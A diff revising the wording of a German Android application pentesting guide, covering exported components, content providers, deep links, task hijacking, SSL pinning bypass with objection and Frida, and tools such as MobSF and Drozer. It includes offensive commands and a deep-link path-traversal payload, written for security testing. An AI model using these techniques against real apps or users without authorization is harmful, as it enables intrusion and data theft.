+- **Exportierte Aktivitäten und Dienste**: Die Identifizierung exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzt.
 - **Content Provider und FileProviders**: Exponierte Content Provider könnten unbefugten Zugriff oder Modifikationen von Daten ermöglichen. Die Konfiguration von FileProviders sollte ebenfalls überprüft werden.
 - **Broadcast-Empfänger und URL-Schemata**: Diese Komponenten könnten für Ausnutzungen verwendet werden, wobei besonderes Augenmerk darauf gelegt werden sollte, wie URL-Schemata für Eingabeschwachstellen verwaltet werden.
 - **SDK-Versionen**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und heben die Bedeutung hervor, veraltete, anfällige Android-Versionen aus Sicherheitsgründen nicht zu unterstützen.
@@ -104,7 +104,7 @@ tapjacking.md
 
 ### Task Hijacking
 
-Eine **Aktivität**, bei der der **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` gesetzt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, die **Aufgabe der echten Anwendung übernehmen könnte** (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er verwendet die echte**).
+Eine **Aktivität**, bei der der **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` gesetzt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, die **Aufgabe der echten Anwendung übernehmen könnte** (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er benutze die echte**).
 
 Weitere Informationen finden Sie in:
 
@@ -122,7 +122,7 @@ In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **
 1. **Statische Analyse:**
 - **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig geprüft** wird. Diese Modi **könnten Dateien potenziell ungewolltem oder unbefugtem Zugriff** aussetzen.
 2. **Dynamische Analyse:**
-- **Überprüfen** Sie die **Berechtigungen**, die für Dateien festgelegt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so eingestellt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, ermöglichen würde, diese Dateien **zu lesen oder zu modifizieren**.
+- **Überprüfen** Sie die **Berechtigungen**, die auf Dateien gesetzt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so eingestellt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, ermöglichen würde, diese Dateien **zu lesen oder zu modifizieren**.
 
 **Externer Speicher**
 
@@ -163,7 +163,7 @@ Eine gute Möglichkeit, dies zu testen, besteht darin, den Datenverkehr mit eine
 
 **Schlechte Schlüsselverwaltungsprozesse**
 
-Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hartcodierten/vorhersehbaren Schlüssel. Dies sollte nicht geschehen, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
+Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersehbaren Schlüssel. Dies sollte nicht geschehen, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
 
 **Verwendung unsicherer und/oder veralteter Algorithmen**
 
@@ -251,6 +251,7 @@ Dank der ADB-Verbindung können Sie **Drozer** und **Frida** in den Emulatoren v
 - [**Android Studio**](https://developer.android.com/studio) (Sie können **x86** und **arm** Geräte erstellen, und laut [**diesem**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**neueste x86** Versionen **unterstützen ARM-Bibliotheken** ohne einen langsamen ARM-Emulator zu benötigen).
 - Lernen Sie, wie Sie es auf dieser Seite einrichten:
 
+
 {{#ref}}
 avd-android-virtual-device.md
 {{#endref}}
@@ -288,11 +289,11 @@ Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zug
 
 > [!WARNING]
 > Beachten Sie, dass ab **neueren Versionen als Android 4.0** **Anwendungen nur auf ihre eigenen Protokolle zugreifen können**. Anwendungen können also nicht auf die Protokolle anderer Apps zugreifen.\
-> Dennoch wird empfohlen, **sensible Informationen nicht zu protokollieren**.
+> Dennoch wird weiterhin empfohlen, **sensible Informationen nicht zu protokollieren**.
 
 **Zwischenablage-Caching**
 
-Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist wichtig, die Copy/Paste-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendetails, zu **deaktivieren**, um Datenlecks zu verhindern.
+Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegt. Es ist wichtig, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendaten, zu deaktivieren, um Datenlecks zu verhindern.
 
 **Absturzprotokolle**
 
@@ -309,7 +310,7 @@ Anwendungen integrieren häufig Dienste wie Google Adsense, die unbeabsichtigt *
 Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Während des Pentests sollten Sie einen **Blick** auf die **Datenbanken** werfen, die erstellt wurden, die Namen der **Tabellen** und **Spalten** sowie alle **gespeicherten Daten**, da Sie **sensible Informationen** finden könnten (was eine Schwachstelle darstellen würde).\
 Datenbanken sollten sich in `/data/data/the.package.name/databases` wie `/data/data/com.mwr.example.sieve/databases` befinden.
 
-Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** innerhalb der Anwendung **finden** können, ist dies immer noch eine **Schwachstelle**.
+Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** innerhalb der Anwendung **finden**, ist es immer noch eine **Schwachstelle**.
 
 Zählen Sie die Tabellen mit `.tables` und zählen Sie die Spalten der Tabellen mit `.schema <table_name>`.
 
@@ -321,7 +322,7 @@ Drozer ist ein nützliches Tool, um **exportierte Aktivitäten, exportierte Dien
 ### Ausnutzen exportierter Aktivitäten
 
 [**Lesen Sie dies, wenn Sie auffrischen möchten, was eine Android-Aktivität ist.**](android-applications-basics.md#launcher-activity-and-other-activities)\
-Denken Sie auch daran, dass der Code einer Aktivität mit der **`onCreate`**-Methode beginnt.
+Denken Sie auch daran, dass der Code einer Aktivität in der **`onCreate`**-Methode beginnt.
 
 **Autorisierungsumgehung**
 
@@ -329,7 +330,7 @@ Wenn eine Aktivität exportiert wird, können Sie ihren Bildschirm von einer ext
 
 [**Erfahren Sie, wie Sie exportierte Aktivitäten mit Drozer ausnutzen.**](drozer-tutorial/index.html#activities)
 
-Sie können auch eine exportierte Aktivität von adb aus starten:
+Sie können auch eine exportierte Aktivität von adb starten:
 
 - Paketname ist com.example.demo
 - Exportierte Aktivitätsname ist com.example.test.MainActivity
@@ -349,10 +350,10 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
 
 Wenn Tapjacking nicht verhindert wird, könnten Sie die exportierte Aktivität missbrauchen, um den **Benutzer unerwartete Aktionen** ausführen zu lassen. Für weitere Informationen über [**was Tapjacking ist, folgen Sie dem Link**](#tapjacking).
 
-### Ausnutzen von Content Providern - Zugriff auf und Manipulation von sensiblen Informationen
+### Ausnutzen von Content Providern - Zugriff auf und Manipulation sensibler Informationen
 
 [**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Content Provider ist.**](android-applications-basics.md#content-provider)\
-Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injection**- und **Path Traversal**-Angriffe zu testen, da sie anfällig sein könnten.
+Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injektionen** und **Path Traversals** zu testen, da sie anfällig sein könnten.
 
 [**Erfahren Sie, wie Sie Content Provider mit Drozer ausnutzen.**](drozer-tutorial/index.html#content-providers)
 
@@ -399,7 +400,7 @@ Jedes Mal, wenn du einen Deep Link findest, überprüfe, dass **er keine sensibl
 **Parameter im Pfad**
 
 Du **musst auch überprüfen, ob ein Deep Link einen Parameter im Pfad** der URL verwendet, wie: `https://api.example.com/v1/users/{username}`. In diesem Fall kannst du eine Pfadtraversierung erzwingen, indem du auf etwas wie: `example://app/users?username=../../unwanted-endpoint%3fparam=value` zugreifst.\
-Beachte, dass du, wenn du die richtigen Endpunkte innerhalb der Anwendung findest, möglicherweise eine **Open Redirect** verursachen kannst (wenn ein Teil des Pfades als Domainname verwendet wird), **Account-Übernahme** (wenn du die Benutzerdaten ohne CSRF-Token ändern kannst und der verwundbare Endpunkt die richtige Methode verwendet) und jede andere Verwundbarkeit. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/).
+Beachte, dass du, wenn du die richtigen Endpunkte innerhalb der Anwendung findest, möglicherweise eine **Open Redirect** verursachen kannst (wenn ein Teil des Pfades als Domainname verwendet wird), **Accountübernahme** (wenn du die Benutzerdaten ohne CSRF-Token ändern kannst und der verwundbare Endpunkt die richtige Methode verwendet) und jede andere Verwundbarkeit. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/).
 
 **Weitere Beispiele**
 
@@ -408,7 +409,7 @@ Ein [interessanter Bug-Bounty-Bericht](https://hackerone.com/reports/855618) üb
 ### Transport Layer Inspektion und Verifizierungsfehler
 
 - **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen ignorieren und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückgreifen.
-- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach**, da unsichere Cipher-Suiten verwendet werden. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
+- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach** und verwenden unsichere Cipher-Suiten. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
 - **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, dann jedoch über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor der Abfangung durch böswillige Akteure.
 
 #### Zertifikatsverifizierung
@@ -421,9 +422,9 @@ SSL-Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzerti
 
 #### Verkehrsinpektion
 
-Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
+Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 
-Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**siehe dieses Tutorial**](make-apk-accept-ca-certificate.md).
+Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config [**verweise auf dieses Tutorial**](make-apk-accept-ca-certificate.md).
 
 Wenn **Flutter** verwendet wird, musst du die Anweisungen auf [**dieser Seite**](flutter.md) befolgen. Dies liegt daran, dass das bloße Hinzufügen des Zertifikats in den Store nicht funktioniert, da Flutter seine eigene Liste gültiger CAs hat.
 
@@ -431,10 +432,10 @@ Wenn **Flutter** verwendet wird, musst du die Anweisungen auf [**dieser Seite**]
 
 Wenn SSL-Pinning implementiert ist, wird es notwendig, es zu umgehen, um HTTPS-Verkehr zu inspizieren. Verschiedene Methoden stehen dafür zur Verfügung:
 
-- Automatisch **modifiziere** die **apk**, um **SSL-Pinning zu umgehen** mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung löschen und die neue installieren, und das funktioniert nicht immer.
+- Automatisch **modifiziere** die **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer.
 - Du könntest **Frida** (unten besprochen) verwenden, um diesen Schutz zu umgehen. Hier hast du eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
-- Du kannst auch versuchen, **SSL-Pinning automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
+- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
-- Du kannst auch versuchen, **SSL-Pinning automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt)
+- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt).
 - Wenn du immer noch denkst, dass es Verkehr gibt, den du nicht erfasst, kannst du versuchen, **den Verkehr mit iptables an burp weiterzuleiten**. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
 
 #### Suche nach häufigen Webverwundbarkeiten
@@ -448,9 +449,9 @@ Es ist auch wichtig, nach häufigen Webverwundbarkeiten innerhalb der Anwendung
 Wenn du Android-Anwendungen pentesten möchtest, musst du wissen, wie man Frida verwendet.
 
 - Lerne, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/index.html)
-- Eine "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
+- Einige "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
 - Ojection ist großartig, um die Verwendung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
-- Du kannst einige großartige Frida-Skripte hier finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+- Du kannst hier einige großartige Frida-Skripte finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
 - Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben lädst (Tool [linjector](https://github.com/erfur/linjector-rs))
 
 #### Anti-Instrumentierung & SSL-Pinning-Umgehungsworkflow
@@ -498,9 +499,9 @@ Wenn Sie eine Anwendung in den Hintergrund setzen, speichert Android einen **Sch
 
 Wenn dieser Schnappschuss jedoch **sensible Informationen** enthält, könnte jemand mit Zugriff auf den Schnappschuss diese **Informationen stehlen** (beachten Sie, dass Sie Root-Rechte benötigen, um darauf zuzugreifen).
 
-Die Schnappschüsse werden normalerweise unter folgendem Pfad gespeichert: **`/data/system_ce/0/snapshots`**
+Die Schnappschüsse werden normalerweise unter: **`/data/system_ce/0/snapshots`** gespeichert.
 
-Android bietet eine Möglichkeit, die **Erfassung von Screenshots zu verhindern, indem der FLAG_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch sie nicht in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden können.
+Android bietet eine Möglichkeit, die **Erfassung von Screenshots zu verhindern, indem der FLAG_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch verhindert wird, dass sie in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden.
 ```bash
 getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 ```
@@ -512,9 +513,9 @@ Dieses Tool kann Ihnen helfen, verschiedene Tools während der dynamischen Analy
 
 Entwickler erstellen häufig Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Empfänger, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weitergeben, was riskant sein kann.
 
-Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Komponenten auszulösen oder auf sensible Content-Provider zuzugreifen, indem diese Intents fehlgeleitet werden. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs in `Intent`-Objekte über `Intent.parseUri(...)` umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injektionen führen kann.
+Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Komponenten auszulösen oder auf sensible Content-Provider zuzugreifen, indem sie diese Intents fehlleiten. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs in `Intent`-Objekte über `Intent.parseUri(...)` umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injektionen führen kann.
 
-### Wesentliche Erkenntnisse
+### Wichtige Erkenntnisse
 
 - **Intent Injection** ist ähnlich wie das Open Redirect-Problem im Web.
 - Exploits beinhalten das Übergeben von `Intent`-Objekten als Extras, die umgeleitet werden können, um unsichere Operationen auszuführen.
@@ -528,7 +529,7 @@ Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen
 - **SQL Injection:** Stellen Sie beim Umgang mit dynamischen Abfragen oder Content-Providern sicher, dass Sie parametrisierte Abfragen verwenden.
 - **JavaScript Injection (XSS):** Überprüfen Sie, ob die Unterstützung für JavaScript und Plugins für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
 - **Local File Inclusion:** WebViews sollten keinen Zugriff auf das Dateisystem haben (standardmäßig aktiviert) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mehr Infos hier](webview-attacks.md#javascript-enabled).
-- **Eternal cookies**: In mehreren Fällen, wenn die Android-Anwendung die Sitzung beendet, wird das Cookie nicht widerrufen oder könnte sogar auf der Festplatte gespeichert werden.
+- **Eternal cookies**: In mehreren Fällen, wenn die Android-Anwendung die Sitzung beendet, wird das Cookie nicht widerrufen oder es könnte sogar auf der Festplatte gespeichert werden.
 - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 
 ---
@@ -541,7 +542,7 @@ Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen
 
 ![](<../../images/image (866).png>)
 
-**Schwachstellenbewertung der Anwendung** mit einer schönen webbasierten Benutzeroberfläche. Sie können auch eine dynamische Analyse durchführen (aber Sie müssen die Umgebung vorbereiten).
+**Schwachstellenbewertung der Anwendung** mit einem schönen webbasierten Frontend. Sie können auch eine dynamische Analyse durchführen (aber Sie müssen die Umgebung vorbereiten).
 ```bash
 docker pull opensecurity/mobile-security-framework-mobsf
 docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@@ -558,16 +559,16 @@ Der **MobSF-Dynamikanalysator** kann:
 
 - **Anwendungsdaten dumpen** (URLs, Protokolle, Zwischenablage, von Ihnen erstellte Screenshots, Screenshots, die von "**Exported Activity Tester**" erstellt wurden, E-Mails, SQLite-Datenbanken, XML-Dateien und andere erstellte Dateien). All dies geschieht automatisch, außer bei den Screenshots, die Sie drücken müssen, wenn Sie einen Screenshot möchten, oder Sie müssen "**Exported Activity Tester**" drücken, um Screenshots aller exportierten Aktivitäten zu erhalten.
 - **HTTPS-Verkehr erfassen**
-- **Frida** verwenden, um **Laufzeit** **informationen** zu erhalten
+- **Frida** verwenden, um **Laufzeit**-**informationen** zu erhalten
 
-Ab Android **Versionen > 5** wird **automatisch Frida gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
+Ab Android **Versionen > 5** wird **Frida automatisch gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
 
 **Frida**
 
 Standardmäßig werden auch einige Frida-Skripte verwendet, um **SSL-Pinning**, **Root-Erkennung** und **Debugger-Erkennung** zu **umgehen** und um **interessante APIs** zu **überwachen**.\
 MobSF kann auch **exportierte Aktivitäten aufrufen**, **Screenshots** davon machen und sie für den Bericht **speichern**.
 
-Um den dynamischen Test zu **starten**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie auf "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und auf "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies wird nach dem Drücken von "Start Instrumentation" angezeigt).\
+Um den dynamischen Test zu **starten**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie auf "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und auf "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies erscheint nach dem Drücken von "Start Instrumentation").\
 MobSF ermöglicht es Ihnen auch, Ihre eigenen **Frida-Skripte** zu laden (um die Ergebnisse Ihrer Frida-Skripte an MobSF zu senden, verwenden Sie die Funktion `send()`). Es hat auch **mehrere vorgefertigte Skripte**, die Sie laden können (Sie können weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), wählen Sie einfach **diese aus**, drücken Sie "**Load**" und drücken Sie "**Start Instrumentation**" (Sie können die Protokolle dieser Skripte in "**Frida Live Logs**" sehen).
 
 ![](<../../images/image (419).png>)
@@ -576,7 +577,7 @@ Darüber hinaus haben Sie einige zusätzliche Frida-Funktionalitäten:
 
 - **Geladene Klassen auflisten**: Es werden alle geladenen Klassen ausgegeben.
 - **Strings erfassen**: Es werden alle erfassten Strings während der Verwendung der Anwendung ausgegeben (sehr laut).
-- **String-Vergleiche erfassen**: Könnte sehr nützlich sein. Es wird **die 2 Strings, die verglichen werden**, und ob das Ergebnis wahr oder falsch war, **anzeigen**.
+- **String-Vergleiche erfassen**: Könnte sehr nützlich sein. Es wird **die 2 Strings anzeigen, die verglichen werden** und ob das Ergebnis wahr oder falsch war.
 - **Methoden der Klasse auflisten**: Geben Sie den Klassennamen (wie "java.io.File") ein, und es werden alle Methoden der Klasse ausgegeben.
 - **Klassenmuster suchen**: Klassen nach Muster suchen.
 - **Methoden der Klasse nachverfolgen**: **Verfolgen** Sie eine **ganze Klasse** (sehen Sie Eingaben und Ausgaben aller Methoden der Klasse). Denken Sie daran, dass MobSF standardmäßig mehrere interessante Android-API-Methoden nachverfolgt.
@@ -585,7 +586,7 @@ Sobald Sie das zusätzliche Modul ausgewählt haben, das Sie verwenden möchten,
 
 **Shell**
 
-Mobsf bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und gängigen **Shell**-Befehlen am unteren Ende der Seite zur dynamischen Analyse. Einige interessante Befehle:
+Mobsf bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und gängigen **Shell**-**Befehlen** am unteren Ende der Seite zur dynamischen Analyse. Einige interessante Befehle:
 ```bash
 help
 shell ls
@@ -621,7 +622,7 @@ Dies ist ein **großartiges Tool zur Durchführung statischer Analysen mit einer
 
 ### [Qark](https://github.com/linkedin/qark)
 
-Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Android-Anwendungsschwachstellen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, eine "Proof-of-Concept" deploybare APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
+Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Schwachstellen in Android-Anwendungen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, ein "Proof-of-Concept" deploybares APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
 ```bash
 pip3 install --user qark  # --user is only needed if not using a virtualenv
 qark --apk path/to/my.apk
@@ -643,7 +644,7 @@ reverse-apk relative/path/to/APP.apk
 
 SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf Schwachstellen analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln, um diese Schwachstellen zu erkennen.
 
-Alle Regeln sind in einer `rules.json`-Datei zentriert, und jedes Unternehmen oder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen.
+Alle Regeln sind in einer `rules.json`-Datei zentralisiert, und jedes Unternehmen oder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen.
 
 Laden Sie die neuesten Binärdateien von der [Download-Seite](https://superanalyzer.rocks/download.html) herunter.
 ```
@@ -664,7 +665,7 @@ Laden Sie [die neueste Version](https://github.com/vincentcox/StaCoAn/releases)
 ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
 
 AndroBugs Framework ist ein Android-Sicherheitsanalyse-System, das Entwicklern oder Hackern hilft, potenzielle Sicherheitsanfälligkeiten in Android-Anwendungen zu finden.\
-[Windows-Releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
+[Windows-Versionen](https://github.com/AndroBugs/AndroBugs_Framework/releases)
 ```
 python androbugs.py -f [APK file]
 androbugs.exe -f [APK file]
@@ -673,7 +674,7 @@ androbugs.exe -f [APK file]
 
 **Androwarn** ist ein Tool, dessen Hauptziel es ist, potenziell bösartiges Verhalten, das von einer Android-Anwendung entwickelt wurde, zu erkennen und den Benutzer zu warnen.
 
-Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, dargestellt als **Smali**, mit der [`androguard`](https://github.com/androguard/androguard) Bibliothek.
+Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, der als **Smali** dargestellt wird, mit der [`androguard`](https://github.com/androguard/androguard) Bibliothek.
 
 Dieses Tool sucht nach **häufigen Verhaltensweisen von "schlechten" Anwendungen** wie: Exfiltration von Telefondaten, Abfangen von Audio-/Video-Streams, Modifikation von PIM-Daten, Ausführung beliebigen Codes...
 ```
@@ -683,7 +684,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 
 ![](<../../images/image (595).png>)
 
-**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das gängige Tools für das Reverse Engineering und die Analyse von mobilen Anwendungen zusammenführt, um bei der Prüfung mobiler Anwendungen gegen die OWASP-Sicherheitsbedrohungen für mobile Anwendungen zu helfen. Ziel ist es, diese Aufgabe für Entwickler mobiler Anwendungen und Sicherheitsfachleute einfacher und benutzerfreundlicher zu gestalten.
+**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das häufig verwendete Tools für das Reverse Engineering und die Analyse von mobilen Anwendungen zusammenführt, um bei der Prüfung mobiler Anwendungen gegen die OWASP-Sicherheitsbedrohungen für mobile Anwendungen zu helfen. Ziel ist es, diese Aufgabe für Entwickler mobiler Anwendungen und Sicherheitsfachleute einfacher und benutzerfreundlicher zu gestalten.
 
 Es kann:
 
@@ -710,13 +711,13 @@ ProGuard wird als Teil des Android SDK verteilt und läuft beim Erstellen der An
 
